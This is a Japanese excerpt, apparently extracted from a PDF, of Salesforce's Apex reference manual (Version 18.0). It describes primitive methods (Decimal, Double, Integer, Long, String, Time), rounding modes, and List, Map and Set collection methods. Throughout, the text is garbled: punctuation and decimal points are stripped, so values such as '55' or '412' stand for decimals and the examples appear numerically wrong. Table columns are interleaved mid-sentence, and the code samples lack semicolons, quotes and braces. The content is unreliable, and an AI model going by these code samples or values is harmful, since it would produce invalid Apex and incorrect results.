DecimalDecimal divisorInteger scaleObjectroundingMode

divide

ますそして必要に応じてroundingModeを使用して値を丸めますroundingModeに対して有効な値の詳細は「丸めモード」 (ページ217)例

Decimal myDecimal = 124567 DecimaldivDec = myDecimaldivide (7 2SystemRoundingModeUP)systemassertEquals(divDec 178)

Decimal の Double の値を返しますDoubledoubleValue

指数が必要な場合科学的記数法を使用してこの Decimal の String の値を返します

Stringformat

Decimal の Integer の値を返しますIntegerintValue

Decimal の Long の値を返しますLonglongValue

exponentの指数まで累乗したこの小数の値を返しますexponentの値は -32768 32767 です例

Decimal myDecimal = 412 Decimal powDec= myDecimalpow(2)systemassertEquals(powDec 169744)

DecimalInteger exponentpow

Decimal の桁数を返しますたとえばDecimal の値が 12345 の場合precisionは 5 を返します

Integerprecision

Decimal の値が 123123 の場合precisionは 6を返します例

Decimal D1 = 12345 Integer precision1= D1precision()systemassertEquals(precision1 5)

Decimal D2 = 123123 Integer precision2= D2precision()systemassertEquals(precision2 6)

Decimal の丸められた近似値を返します数値は均等丸めモードを使用して0 の小数位に丸めま

Longround

すつまり2 つの近隣が等距離にない限りは「最

参照 Version 180 | Apex Primitive メソッド | 215

説明戻り値の型引数名前

近隣」に等距離にある場合このモードは均等な近隣に対して丸めますこの丸めモードは統計的に連続する計算に対して繰り返し適用される場合累積エラーを最小化します均等丸めモードの詳細は 「丸めモード」 (ページ 217)を参照してください例

Decimal D1 = 55 Long L1 = D1round()systemassertEquals(L1 6)

Decimal D2= 52 Long L2= D2round()systemassertEquals(L2 5)

Decimal D3= -57 Long L3= D3round()systemassertEquals(L3 -6)

Decimal の丸められた近似値を返します数値はroundingModeで指定された丸めモードを使用し

LongSystemRoundingModeroundingMode

round

て0 の小数位に丸められますroundingModeに対して有効な値の詳細は 「丸めモード」 (ページ 217)

Decimal のスケールつまり小数位の数を返します

Integerscale

必要に応じて均等丸めモードを使用しDecimalのスケールを小数位の指定された数に設定します

DecimalInteger scalesetScale

均等丸めモードは2 つの近隣が等距離にない限りは「最近隣」に等距離にある場合このモードは均等な近隣に丸めます均等丸めモードの詳細は 「丸めモード」 (ページ 217)を参照してくださいscaleの値は -33 33 です

Decimal のスケールを明示的に設定しない場合スケールは Decimal が作成された項目によって指定されます

bull Decimal がクエリの一部として作成される場合スケールはクエリから返される項目のスケールに基づきます

bull Decimal が String から作成される場合スケールは String の小数点の後の文字数となります

bull Decimal が小数以外の数値から作成される場合スケールは数値を String に変換し小数点以下の文字数を指定して決定します

必要に応じて roundingMode で指定された丸めモードを使用しDecimal のスケールを小数位の

DecimalInteger scaleSystemRoundingModeroundingMode

setScale

指定された数に設定しますroundingModeに対

参照 Version 180 | Apex Primitive メソッド | 216

説明戻り値の型引数名前

して有効な値の詳細は 「丸めモード」 (ページ217)scaleの値は -32768 32767 です

Decimal のスケールを明示的に設定しない場合スケールは Decimal が作成された項目によって指定されます

bull Decimal がクエリの一部として作成される場合スケールはクエリから返される項目のスケールに基づきます

bull Decimal が String から作成される場合スケールは String の小数点の後の文字数となります

bull Decimal が小数以外の数値から作成される場合スケールは数値を String に変換し小数点以下の文字数を指定して決定します

後続の 0 を削除した Decimal を返しますDecimalstripTrailingZeros

科学的記数法を使用せずにDecimal の String の値を返します

StringtoPlainString

Decimal の詳細は「プリミティブデータ型」 (ページ 27)を参照してください

丸めモード

丸めモードでは小数部を破棄できる数値演算の丸め動作を指定します各丸めモードでは丸められた結果の返される下位の桁をどのように計算するかを指定します次はroundingModeの有効な値を示します

説明名前

正の無限大に丸めますつまり結果が正の場合このモードはUP丸めモードと同じ動作をします結果が負の場合DOWN丸めモードと同じ動作をしますこの丸めモードで計算された値は小さくなりません例

CEILING

bull 入力値 55 CEILING丸めモードの結果 6bull 入力値 11 CEILING丸めモードの結果 2bull 入力値 -11 CEILING丸めモードの結果 -1bull 入力値 -27 CEILING丸めモードの結果 -2

0 に丸めますこの丸めモードは常に端数 (小数部分) を実行前に破棄しますこの丸めモードを使用しても計算された値の絶対値は大きくなりません例

DOWN

bull 入力値 55 DOWN丸めモードの結果 5bull 入力値 11 DOWN丸めモードの結果 1bull 入力値 -11 DOWN丸めモードの結果 -1bull 入力値 -27 DOWN丸めモードの結果 -2

参照 Version 180 | Apex Primitive メソッド | 217

説明名前

負の無限大に丸めますつまり結果が正の場合このモードはDOWN丸めモードと同じ動作をします結果が負の場合UP丸めモードと同じ動作をしますこの丸めモードで計算された値は大きくなりません例

FLOOR

bull 入力値 55 FLOOR丸めモードの結果 5bull 入力値 11 FLOOR丸めモードの結果 1bull 入力値 -11 FLOOR丸めモードの結果 -2bull 入力値 -27 FLOOR丸めモードの結果 -3

2 つの近隣が等距離にない限りは「最近隣」に丸め等距離にある場合このモードは端数を切り捨てます破棄した端数 (小数部分が) 05 より大きい場合

HALF_DOWN

この丸めモードはUP丸めモードと同じ動作をします05 より小さい場合はDOWN丸めモードと同じ動作をします例bull 入力値 55 HALF_DOWN丸めモードの結果 5bull 入力値 11 HALF_DOWN丸めモードの結果 1bull 入力値 -11 HALF_DOWN丸めモードの結果 -1bull 入力値 -27 HALF_DOWN丸めモードの結果 -2

2 つの近隣が等距離にない限りは「最近隣」に丸め等距離にある場合このモードは均等な近隣に丸めます破棄した端数 (小数部分) の左側の桁が奇数の

HALF_EVEN

場合この丸めモードは HALF_UP丸めモードと同じ動作をします偶数である場合HALF_DOWN丸めメソッドと同じ動作をします例bull 入力値 55 HALF_EVEN丸めモードの結果 6bull 入力値 11 HALF_EVEN丸めモードの結果 1bull 入力値 -11 HALF_EVEN丸めモードの結果 -1bull 入力値 -27 HALF_EVEN丸めモードの結果 -3

この丸めモードは統計的に連続する計算に対して繰り返し適用される場合累積エラーを最小化します

2 つの近隣が等距離にない限りは「最近隣」に丸め等距離にある場合このモードは端数を切り上げます破棄した端数 (小数部分が) 05 以上の場合この

HALF_UP

丸めモードはUP丸めメソッドと同じ動作をします05 以下の場合はDOWN

丸めメソッドと同じ動作をします例bull 入力値 55 HALF_UP丸めモードの結果 6bull 入力値 11 HALF_UP丸めモードの結果 1bull 入力値 -11 HALF_UP丸めモードの結果 -1bull 入力値 -27 HALF_UP丸めモードの結果 -3

要求された演算によって正確な結果が出たことを確認しますつまり丸めは必要ありませんこの丸めモードが正確でない結果を生成する演算に指定されて場合Exception が投げられます例

UNNECESSARY

bull 入力値 55 UNNECESSARY丸めモードの結果 Exceptionbull 入力値 10 UNNECESSARY丸めモードの結果 1

参照 Version 180 | Apex Primitive メソッド | 218

説明名前

0 から遠い方向に丸めますこの丸めモードは常に端数 (小数部分) を実行前に切り捨てますこの丸めモードを使用しても計算された値の絶対値は小さくなりません例

UP

bull 入力値 55 UP丸めモードの結果 6bull 入力値 11 UP丸めモードの結果 2bull 入力値 -11 UP丸めモードの結果 -2bull 入力値 -27 UP丸めモードの結果 -3

Double メソッド

次にDouble のシステム静的メソッドを示します

説明戻り値の型引数名前

データ型 anyType の履歴管理表の項目である xをDouble に投入しますanyType データ型の詳細は

DoubleanyTypexvalueOf

『Forcecom Web Services API Developers Guide』の「項目のデータ型」を参照してください

指定した String の値を含む Double を返しますJava と同様String は署名付きの Double を示すものとして解釈されます例Double DD1 = doublevalueOf(314159)

DoubleString svalueOf

次にDouble のインスタンスメソッドを示します

説明戻り値の型引数名前

この Double の文字列値を返しますStringformat

Double の Integer の値を Integer に投入して返します例Double DD1 = doublevalueOf(314159)Integer value = DD1intValue()systemassertEquals(value 3)

IntegerintValue

この Double の Long の値を返しますLonglongValue

この Double の丸めた値を返します数値は均等丸めモードを使用して0 の小数位に丸めますつ

Longround

まり2 つの近隣が等距離にない限りは「最近隣」に等距離にある場合このモードは均等な近隣に対して丸めますこの丸めモードは統計的に連続する計算に対して繰り返し適用される場合累積エラーを最小化します均等丸めモードの詳

参照 Version 180 | Apex Primitive メソッド | 219

説明戻り値の型引数名前

細は 「丸めモード」 (ページ 217)を参照してください例

Double D1 = 55 Long L1 = D1round()systemassertEquals(L1 6)

Double D2= 52 Long L2= D2round()systemassertEquals(L2 5)

Double D3= -57 Long L3= D3round()systemassertEquals(L3 -6)

Double の詳細は「プリミティブデータ型」 (ページ 27)を参照してください

Integer メソッド

次にInteger のシステム静的メソッドを示します

説明戻り値の型引数名前

データ型 anyType の履歴管理表の項目である xをInteger に投入しますanyType データ型の詳細は

IntegeranyTypexvalueOf

『Forcecom Web Services API Developers Guide』の「ファイルのデータ型」を参照してください

指定した String の値を含む Integer を返しますJava と同様String は署名付きの 10 進数整数を示すものとして解釈されます例Integer myInt = integervalueOf(123)

IntegerString svalueOf

次にInteger のインスタンスメソッドを示します

説明戻り値の型引数名前

Integer を文字列として返しますStringformat

Integer の詳細は「プリミティブデータ型」 (ページ 27)を参照してください

Long メソッド

次にLong のシステム静的メソッドを示します

参照 Version 180 | Apex Primitive メソッド | 220

説明戻り値の型引数名前

指定した String の値を含む Long を返しますJavaと同様文字列は符号付きの小数 Long を示すものとして解釈されます例Long L1 = longvalueOf(123456789)

LongString svalueOf

次にLong のインスタントメソッドを示します

説明戻り値の型引数名前

この Long の文字列形式を返しますStringformat

Long の Integer の値を返しますIntegerintValue

Long の詳細は「プリミティブデータ型」 (ページ 27)を参照してください

String メソッド

次にString のシステム静的メソッドを示します

説明戻り値の型引数名前

String sの単一引用符の前にエスケープ文字 () を追加した String を返しますこのメソッドは動的

StringString sescapeSingleQuotes

SOQL ステートメントを作成する場合に役に立ちSOQL インジェクションを回避します動的SOQL の詳細は「動的 SOQL」 (ページ 140)を参照してください

現在の文字列をapexoutputText と同じ方法で置換に使用するパターンとして扱います

StringString s

ListltStringgtarguments

format

整数のリストの値から文字列を返しますStringListltIntegergtcharArray

fromCharArray

指定した Date を示す String を標準の「yyyy-MM-dd」形式で返します例Date myDate = DateToday() String sDate= StringvalueOf(myDate)

StringDate dvalueOf

指定した Datetime を示す String を現地のタイムゾーンの標準「yyyy-MM-dd HHmmss」形式で返します

StringDatetime dtvalueOf

指定された Decimal を示す String を返しますStringDecimal dvalueOf

参照 Version 180 | Apex Primitive メソッド | 221

説明戻り値の型引数名前

データ型 anyType の履歴管理表の項目である xをString に投入します例

Double myDouble = 1234 String myString= StringvalueOf(myDouble)SystemassertEquals(1234 myString)

StringanyType xvalueOf

anyType データ型の詳細は『Forcecom Web ServicesAPI Developers Guide』の「項目のデータ型」を参照してください

指定した Datetime を示す String を GMT タイムゾーンの標準「yyyy-MM-dd HHmmss」形式で返します

StringDatetime dtvalueOfGmt

次にString のインスタンスメソッドを示します

説明戻り値の型引数名前

String の各文字の Unicode 値に基づいて2 つの文字列を辞書編集的に比較します結果は次のとおりです

IntegerString compStringcompareTo

bull メソッドをコールした String が辞書編集的にcompStringの前に来る場合は負の Integer

bull メソッドをコールした String が辞書編集的にcompStringの後に来る場合は正の Integer

bull Strings が等しい場合 0

Strings が異なる索引位置がない場合辞書編集的には短い String が長い String の後に来ます例

String myString1 = abcde StringmyString2 = abcd Integer result =myString1compareTo(myString2)SystemassertEquals(result 1)

equalsメソッドが真を返す場合このメソッドは 0 を返します

メソッドをコールした String に compStringの指定した連続する文字が含まれている場合にのみtrueを返します例

String myString1 = abcde StringmyString2 = abcd Boolean result =

BooleanString compStringcontains

myString1contains(myString2)SystemassertEquals(result true)

参照 Version 180 | Apex Primitive メソッド | 222

説明戻り値の型引数名前

メソッドをコールした String が suffixで終わる場合trueを返します

BooleanString suffixendsWith

compStringが null でなくメソッドをコールした String と同じ 2 進数列の文字を示す場合true

BooleanString compStringequals

を返しますcompareToメソッドが 0 を返す場合このメソッドは真を返します例

String myString1 = abcde StringmyString2 = abcd Boolean result =myString1equals(myString2)SystemassertEquals(result false)

==演算子は String も比較も行いますが大文字と小文字を区別して Apex セマンティックに一致させます(==はID を比較する場合も同じ理由で大文字と小文字を区別します)

compStringが null でなくメソッドをコールした String と同じ連続する文字を示す場合trueを返します大文字と小文字は無視します例

String myString1 = abcd StringmyString2 = ABCD Boolean result =

BooleanString compStringequalsIgnoreCase

myString1equalsIgnoreCase(myString2)SystemassertEquals(result true)

指定したサブ文字列が最初に発生した索引を返しますサブ文字列がない場合このメソッドは -1を返します

IntegerString subStringindexOf

索引 iの位置から指定されたサブ文字列が最初に発生する索引を返しますサブ文字列がない場合このメソッドは -1 を返します例

String myString1 = abcd StringmyString2 = bc Integer result =

IntegerString substring

Integer i

indexOf

myString1indexOf(myString2 0)SystemassertEquals(result 1)

指定したサブ文字列が最後に発生した索引を返しますサブ文字列がない場合このメソッドは -1を返します

IntegerString substringlastIndexOf

String に含まれる 16 ビット Unicode 文字の数を返します例String myString = abcd Integer result= myStringlength()SystemassertEquals(result 4)

Integerlength

参照 Version 180 | Apex Primitive メソッド | 223

説明戻り値の型引数名前

リテラルターゲットシーケンス targetに一致する文字列のサブ文字列と指定したリテラル置換シーケンス replacementと置き換えます

StringString target

String replacement

replace

正規表現 regExpに一致する文字列のサブ文字列と置換シーケンス replacementと置き換えま

StringString regExp

String replacement

replaceAll

す正規表現の詳細はhttpjavasuncomj2se150docsapijavautilregexPatternhtmlを参照してください

正規表現 regExpに一致する文字列の最初のサブ文字列と置換シーケンスreplacementと置き換

StringString regExp

String replacement

replaceFirst

えます正規表現の詳細はhttpjavasuncomj2se150docsapijavautilregexPatternhtmlを参照してください

文字列の各サブ文字列を含むリストを返しますこのサブ文字列は正規表現regExpまたは文字

String[]String regExp

Integer limit

split

列の末尾に達したことにより終了します正規表現の詳細はhttpjavasuncomj2se150docsapijavautilregexPatternhtmlを参照してください

このサブ文字列は文字列の中で発生した順序でリストに記述されます regExpが String の一部に一致しない場合結果リストには元の文字列を含む要素が 1 つだけ含まれます

オプションの limitパラメータはパターンが適用された回数を制御するためリストの長さに影響を与えます

bull limitが 0 より大きい場合パターンは最大limit - 1 回適用されたことになりますまたリストの長さは最大 limitとなりリストの最後のエントリには最後に一致した区切り文字移行のすべての入力が含まれます

bull limitが正の値でない場合パターンを何度でも適用することが可能となりリストの長さも任意となります

bull limitが 0 の場合パターンは何度でも適用することが可能となりリストの長さも任意となりますが残りの続く空の文字列は破棄されます

たとえばString s = booandfooの場合次のようになります

bull ssplit( 2)は boo andfooを生成します

参照 Version 180 | Apex Primitive メソッド | 224

説明戻り値の型引数名前

bull ssplit( 5)はboo and foo

を生成しますbull ssplit( -2)は boo and

fooを生成しますbull ssplit(o 5)は b andf

を生成しますbull ssplit(o -2)は b andf

を生成しますbull ssplit(o 0)は b andf

を生成します

メソッドをコールした String が prefixで始まる場合trueを返します

BooleanString prefixstartsWith

指定した startIndexの文字で始まり String の末尾まで続く新しい String を返します

StringInteger startIndexsubstring

指定した startIndexの文字で始まり endIndex -1 の文字まで続く新しい String を返します例

hamburgersubstring(4 8) Returnsurge

StringInteger startIndex

Integer endIndex

substring

smilessubstring(1 5) Returnsmile

String のすべての文字をデフォルトのロケールの規則を使用して小文字に変換します

StringtoLowerCase

String のすべての文字を指定したロケールの規則を使用して小文字に変換します

StringString localetoLowerCase

String のすべての文字をデフォルトのロケールの規則を使用して大文字に変換します例String myString1 = abcd StringmyString2 = ABCD myString1 =

StringtoUpperCase

myString1toUpperCase() Boolean result= myString1equals(myString2)SystemassertEquals(result true)

String のすべての文字を指定したロケールの規則を使用して大文字に変換します

StringString localetoUpperCase

先頭末尾のスペースタブ改行文字など空白文字を含まない String を返します

Stringtrim

String の詳細は「プリミティブデータ型」 (ページ 27)を参照してください

参照 Version 180 | Apex Primitive メソッド | 225

Time メソッド

次にTime のシステム静的メソッドを示します

説明戻り値の型引数名前

hourminutessecondsおよびmilliseconds

の Integer 表現から Time を構築します次の例では1820220 の時間を作成します

Time myTime = TimenewInstance(18 302 20)

TimeInteger hour

Integer minutes

Integer seconds

Integermilliseconds

newInstance

次にTime のインスタンスメソッドを示します

説明戻り値の型引数名前

指定した addlHoursの数を Time に追加しますTimeInteger addlHoursaddHours

指定した addlMillisecondsの数を Time に追加します

TimeIntegeraddlMilliseconds

addMilliseconds

指定した addlMinutesの数を Time に追加します例

Time myTime = TimenewInstance(18 302 20)

TimeIntegeraddlMinutes

addMinutes

Integer myMinutes = myTimeminute()myMinutes = myMinutes + 5

SystemassertEquals(myMinutes 35)

指定した addlSecondsの数を Time に追加します

TimeIntegeraddlSeconds

addSeconds

Time の hour のコンポーネントを返します例Time myTime = TimenewInstance(18 302 20)

Integerhour

myTime = myTimeaddHours(2)

Integer myHour = myTimehour()SystemassertEquals(myHour 20)

Time の millisecond のコンポーネントを返しますIntegermillisecond

Time の minute のコンポーネントを返しますIntegerminute

Time の second のコンポーネントを返しますIntegersecond

Time の詳細は「プリミティブデータ型」 (ページ 27)を参照してください

参照 Version 180 | Apex Primitive メソッド | 226

Apex Collection メソッド

Apex Collection メソッドApex のすべてのコレクションにはそれらに関連するメソッドがありデータを割り当て取得および処理しますコレクションは次のとおりです

bull Listbull Mapbull Set

メモ 保持できる項目の数については制限はありませんただしヒープサイズには制限があります

List メソッド

リストメソッドはすべてのインスタンスメソッドでリストの特定のインスタンスに操作されますたとえば次のコードは myListからすべての要素を削除します

myListclear()

clearメソッドにはパラメータは含まれませんがそれをコールするリスト自身が暗黙的なパラメータです

次にList のインスタンスパラメータを示します

メモ 以下の表ではList_elemはリストと同じデータ型の単一の要素を示します

説明戻り値の型引数名前

リストの最後に要素 eを追加します例

ListltIntegergt myList = newListltIntegergt() myListadd(47) Integer

VoidAny typeeadd

myNumber = myListget(0)systemassertEquals(myNumber 47)

要素 eをリストの索引位置 iで追加します次の例では 6 つの要素を持つリストが作成され整数が最初と 2 番目の索引位置に追加されます

ListltIntegergt myList = new Integer[6]myListadd(0 47) myListadd(1 52)systemassertEquals(myListget(1) 52)

VoidInteger i

Any typee

add

リスト lのすべての要素がメソッドをコールするリストに追加されます2 つのリストは同じデータ型である必要があります

VoidList laddAll

参照 Version 180 | Apex Collection メソッド | 227

説明戻り値の型引数名前

セット sのすべての要素がメソッドをコールするリストに追加されますセットとリストのタイプは同じでなければなりません

VoidSet saddAll

すべての要素をリストから削除し続いてリストの長さを 0 に設定します

Voidclear

リストの複製コピーを作成します

これが sObject レコードのリストである場合複製リストはリストの浅いコピーとなりますつま

List (同じデータ型)clone

り複製には各オブジェクトに対する参照がありますがsObject レコード自体は複製されません例

Account a = new Account(name=Acmebillingcity=New York) Account b = newAccount() Account[] l1 = newAccount[]ab Account[] l2 =l1clone() l1[0]billingcity = SanFrancisco SystemassertEquals(l1[0]billingcity San Francisco)SystemassertEquals( l2[0]billingcitySan Francisco)

sObject レコードもコピーするにはdeepClone

メソッドを使用する必要があります

sObject レコード自体を含めsObject レコードのリストの複製コピーを作成します例Account a = new Account(name=Acmebillingcity=New York) Account b = new

List (同じオブジェクトタイプ)

Booleanopt_preserve_id

deepClone

Account() Account[] l1 = newAccount[]ab Account[] l2 =l1deepClone() l1[0]billingcity = SanFrancisco SystemassertEquals(l1[0]billingcity San Francisco)SystemassertEquals( l2[0]billingcityNew York)

メモ deepCloneはプリミティブデータ型のリストではなくsObject のリストにのみ動作します

オプションの opt_preserve_id引数は元のオブジェクトの ID を複製で保持するかまたは削除するかを指定します

リストが含む sObject レコードを複製せずにリストの浅いコピーを作製するにはclone()メソッドを使用します

参照 Version 180 | Apex Collection メソッド | 228

説明戻り値の型引数名前

索引 iに保存されたリスト要素を返します例

ListltIntegergt myList = newListltIntegergt() myListadd(47) Integer

Array_elemInteger iget

myNumber = myListget(0)systemassertEquals(myNumber 47)

プリミティブデータ型または sObjects の一次元リストの要素を参照するためにリスト名の後に要素の索引の位置を大かっこで囲んで表記します例

ListltStringgt colors = new String[3]colors[0] = Red colors[1] = Bluecolors[2] = Green

sObject のリストを構成する sObjects タイプのトークンを返します定義情報とともに使用してリ

SchemaSObjectTypegetSObjectType

ストに特定の種類の sObjects を含むかどうかを指定します例public class listTest 一般的なsObject 変数 s を作成 SObject s =Databasequery (SELECT Id FROM AccountLIMIT 1)

sObject 変数が 取引先のトークンであるかを確認SystemassertEquals(sgetSObjectType()AccountsObjectType)

一般的な sObjects のリストを作成ListltsObjectgt l = new Account[]

sObject のリストに 取引先のトークンが含まれているかを確認SystemassertEquals(sgetSObjectType()AccountsObjectType)

このメソッドは sObjects から構成されているリストとともにのみ使用できます

詳細は「Apex 定義情報について」 (ページ 135)を参照してください

リストの要素が 0 の場合True を返しますBooleanisEmpty

イタレータのインスタンスを返しますイタレータから反復可能なメソッドhasNextおよびnext

を使用してリスト内で反復できます例

global class CustomIterable implementsIteratorltAccountgt ListltAccountgt accs

イタレータiterator

get set Integer i get set public

参照 Version 180 | Apex Collection メソッド | 229

説明戻り値の型引数名前CustomIterable() accs = [SELECT idname numberofEmployees FROM AccountWHERE name = false] i = 0 globalboolean hasNext() if(i gt= accssize())return false else return true global Account next() if(i == 8) i++return null i=i+1 return accs[i-1]

メモ リストで iterableメソッドを使用するために iterableインターフェースを使用する必要はありません

リストの i番目の索引で保存された要素を削除し削除された要素を返します例

ListltStringgt colors = new String[3]colors[0] = Red colors[1] = Blue

Array_elemInteger iremove

colors[2] = Green String S1 =colorsremove(2)systemassertEquals(S1 Green)

eをリストの索引 iの位置に割り当てます例

ListltIntegergt myList = new Integer[6]myListset(0 47) myListset(1 52)systemassertEquals(myListget(1) 52)

VoidInteger i

Any typee

set

プリミティブデータ型または sObjects の一次元リストの要素を設定するためにリスト名の後に要素の索引の位置を大かっこで囲んで表記します例

ListltStringgt colors = new String[3]colors[0] = Red colors[1] = Bluecolors[2] = Green

リストの要素の数を返します例ListltIntegergt myList = newListltIntegergt() Integer size =

Integersize

myListsize() systemassertEquals(size0)

ListltIntegergt myList2 = new Integer[6]Integer size2 = myList2size()systemassertEquals(size2 6)

リスト内の項目を昇順で並べ替えますプリミティブデータ型で構成されているリストとともにのみ

Voidsort

このメソッドを使用できます次の例でリストには 3 つの要素がありますリストを並べ替える

参照 Version 180 | Apex Collection メソッド | 230

説明戻り値の型引数名前

場合最初の要素には値が割り当てられていないため null で2 番目の要素の値は 5 となりますListltIntegergt L1 = new Integer[3] Assign values to the first twoelements L1[0] = 10 L1[1] = 5L1sort() First element is nullsecond is 5systemassertEquals(L1get(1) 5)

リストについての詳細はリスト (ページ 34)を参照してください

Map メソッド

マップメソッドはすべてのインスタンスメソッドでマップの特定のインスタンスに操作されます次にマップのインスタンスメソッドを示します

メモ 以下の表では次のようになります

bull Key_typeはマップキーのプリミティブデータ型を示しますbull Value_typeマップ値のプリミティブまたは sObject データ型を示しま

説明戻り値の型引数名前

マップからすべてのキー値マッピングを削除しますVoidclear

マップの複製コピーを作成します

これが sObject レコード値のマップである場合複製マップはマップの浅いコピーとなりますつまり複製

Map (同じデータ型)

clone

には各オブジェクトレコードに対する参照がありますがsObject レコード自体は複製されません例

Account a = new Account(name=Acmebillingcity=New York)

MapltInteger Accountgt map1 = newMapltInteger Accountgt

map1put(1 a)

MapltInteger Accountgt map2 = map1clone()

map1get(1)billingcity = San Francisco

SystemassertEquals(map1get(1)billingcitySan Francisco)SystemassertEquals(map2get(1)billingcitySan Francisco)

sObject レコードもコピーするにはdeepCloneメソッドを使用する必要があります

参照 Version 180 | Apex Collection メソッド | 231

説明戻り値の型引数名前

マップに指定された keyのマッピングが含まれている場合は真を返します例

Mapltstring stringgt colorCodes = newMapltString Stringgt() colorCodesput(Red

Booleanキータイプ keycontainsKey

FF0000) colorCodesput(Blue0000A0) Boolean contains =colorCodescontainsKey(Blue)SystemassertEquals(contains True)

sObject レコード値を含むマップである場合sObject レコードなどの複製コピーを作成します例Account a = new Account(name=Acmebillingcity=New York)

Map (同じデータ型)

deepClone

MapltInteger Accountgt map1 = newMapltInteger Accountgt map1put(1 a)

MapltInteger Accountgt map2 =map1deepClone()

map1get(1)billingcity = San Francisco

SystemassertEquals(map1get(1)billingcity San Francisco)SystemassertEquals(map2get(1)billingcity New York)

リストが含む sObject レコードを複製せずにマップの浅いコピーを作製するにはclone()メソッドを使用します

指定した keyがマップされる値またはマップにこのキーの値が含まれていない場合nullを返します例

MapltString Stringgt colorCodes = newMapltString Stringgt() colorCodesput(Red

Value_typeキータイプ keyget

FF0000) colorCodesput(Blue0000A0) String code =colorCodesget(Blue)SystemassertEquals(code 0000A0)

次はマップ内の 色ではありません Stringcode2 = colorCodesget(Magenta)SystemassertEquals(code2 null)

マップ値を構成する sObjects タイプのトークンを返します定義情報とともに使用してマップに特定の種類の sObjects を含むかどうかを指定します例public class mapTest 一般的な sObject変数 s を作成 SObject s = Databasequery

SchemaSObjectTypegetSObjectType

(SELECT Id FROM Account LIMIT 1)

sObject 変数が 取引先のトークンであるかを確認 SystemassertEquals(sgetSObjectType()

参照 Version 180 | Apex Collection メソッド | 232

説明戻り値の型引数名前AccountsObjectType)

一般的な sObjects のマップを作成 MapltIntegerAccountgt M = new MapltInteger Accountgt()

sObjects のリストに 取引先のトークンが含まれているかを確認SystemassertEquals(MgetSObjectType()AccountsObjectType)

このメソッドは sObjects 値を持つマップとともにのみ使用できます

詳細は「Apex定義情報について」 (ページ135)を参照してください

マップに内のキー値ペアが空の場合True を返します例MapltString Stringgt colorCodes = newMapltString Stringgt() Boolean empty =

BooleanisEmpty

colorCodesisEmpty()systemassertEquals(empty true)

マップのすべてのキーを含むセットを返します例MapltString Stringgt colorCodes = newMapltString Stringgt() colorCodesput(Red

Key_typeのセット

keySet

FF0000) colorCodesput(Blue0000A0) Set ltStringgt colorSet = newSetltStringgt() colorSet =colorCodeskeySet()

指定した valueとマップの keyを関連付けますマップぬすでにこのキーのマッピングを含む場合以前の値はメソッドで返されその後置き換えられます例

MapltString Stringgt colorCodes = newMapltString Stringgt() colorCodesput(Red

Value_typeKey key

Value value

put

ff0000) colorCodesput(RedFF0000) Red is now FF0000

指定したマップmからのすべてのマッピングを元のマップにコピーしますmからの新しいマッピングは元のマップにのマッピングを置き換えます

VoidMap mputAll

マップが sObjects に対する IDs または Strings である場合sObject レコード lのリストをこの入力のマップコンストラクタと同じ方法でマップに追加します

sObject[] lputAll

keyこのキーのマッピング (ある場合) をマップから削除します値はメソッドで返され削除されます例

MapltString Stringgt colorCodes = newMapltString Stringgt() colorCodesput(Red

Value_typeKey keyremove

参照 Version 180 | Apex Collection メソッド | 233

説明戻り値の型引数名前FF0000) colorCodesput(Blue0000A0) String myColor =colorCodesremove(Blue) String code2 =colorCodesget(Blue)SystemassertEquals(code2 null)

マップのキー値のペアの数を返します例MapltString Stringgt colorCodes = newMapltString Stringgt() colorCodesput(Red

Integersize

FF0000) colorCodesput(Blue0000A0) Integer mSize =colorCodessize()systemassertEquals(mSize 2)

マップのすべての値を含むリストを順不同で返します例MapltString Stringgt colorCodes = newMapltString Stringgt() colorCodesput(Red

Value_typeのリスト

values

FF0000) colorCodesput(Blue0000A0) ListltStringgt colors = newListltStringgt() colors =colorCodesvalues()

マップについての詳細はマップ (ページ 36)を参照してください

Set メソッド

Set メソッドはセットつまり setキーワードを使用して初期化されたプリミティブの順序が指定されていないコレクションに機能しますSet メソッドはすべてのインスタンスメソッドでセットの特定のインスタンスに操作されます次にSet のインスタンスメソッドを示します

メモ 以下の表ではSet_elemはセットと同じデータ型の単一の要素を示しますSet にはプリミティブデータ型のみを含みます

説明戻り値の型引数名前

まだ存在しない場合は要素を Set に追加します

このメソッドは元のセットがコールの結果として変更された場合に真を返します例

setltstringgt myString = newSetltStringgta b c Boolean

BooleanSet 要素 eadd

result result = myStringadd(d)systemassertEquals(result true)

まだ存在しない場合指定されたリストのすべての要素をセットに追加しますこのメソッドは

BooleanList laddAll

リストとセットの union を生成しますリストは

参照 Version 180 | Apex Collection メソッド | 234

説明戻り値の型引数名前

メソッドをコールするセットと同じ型でなければなりません

このメソッドは元のセットがコールの結果として変更された場合に trueを返します

まだ存在しない場合指定されたセットのすべての要素をメソッドをコールするセットに追加しま

BooleanSet saddAll

すこのメソッドは2 つのセットの unionを生成します指定されたセットはメソッドをコールする元のセットと同じ型でなければなりません

このメソッドは元のセットがコールの結果として変更された場合に真を返します例

setltstringgt myString = newSetltStringgta b setltstringgtsString = new SetltStringgtc

Boolean result1 result1 =myStringaddAll(sString)systemassertEquals(result1 true)

セットからすべての要素を削除しますVoidclear

セットの複製コピーを作成しますSet (同じデータ型)clone

セットに指定した要素がある場合trueを返します例

setltstringgt myString = newSetltStringgta b Boolean result

BooleanSet 要素 econtains

result = myStringcontains(z)systemassertEquals(result false)

指定したリストにすべての要素がある場合真を返しますリストはメソッドをコールするセットと同じ型でなければなりません

BooleanList lcontainsAll

指定したセットにすべての要素がある場合真を返します指定されたセットはメソッドをコー

BooleanSet scontainsAll

ルする元のセットと同じ型でなければなりません例setltstringgt myString = newSetltStringgta b setltstringgtsString = new SetltStringgtcsetltstringgt rString = newSetltStringgta b c

Boolean result1 result2 result1 =myStringaddAll(sString)systemassertEquals(result1 true)

参照 Version 180 | Apex Collection メソッド | 235

説明戻り値の型引数名前result2 = myStringcontainsAll(rString)systemassertEquals(result2 true)

セットの要素が 0 の場合True を返します例Setltintegergt mySet = new Setltintegergt()Boolean result result =

BooleanisEmpty

mySetisEmpty()systemassertEquals(result true)

存在する場合は指定した要素をセットから削除します

このメソッドは元のセットがコールの結果として変更された場合に真を返します

BooleanSet 要素 eremove

存在する場合は指定したリストの要素をセットから削除しますこのメソッドは2 つのセットの

BooleanList lremoveAll

relative compliment を生成しますリストはメソッドをコールするセットと同じ型でなければなりません

このメソッドは元のセットがコールの結果として変更された場合に真を返します例

Setltintegergt mySet = new Setltintegergt12 3 Listltintegergt myList = newListltintegergt1 3 Boolean result =mySetremoveAll(myList)SystemassertEquals(result true)

Integer result2 = mySetsize()SystemassertEquals(result2 1)

存在する場合は指定したセットの要素を元のセットから削除しますこのメソッドは2 つのセッ

BooleanSet sremoveAll

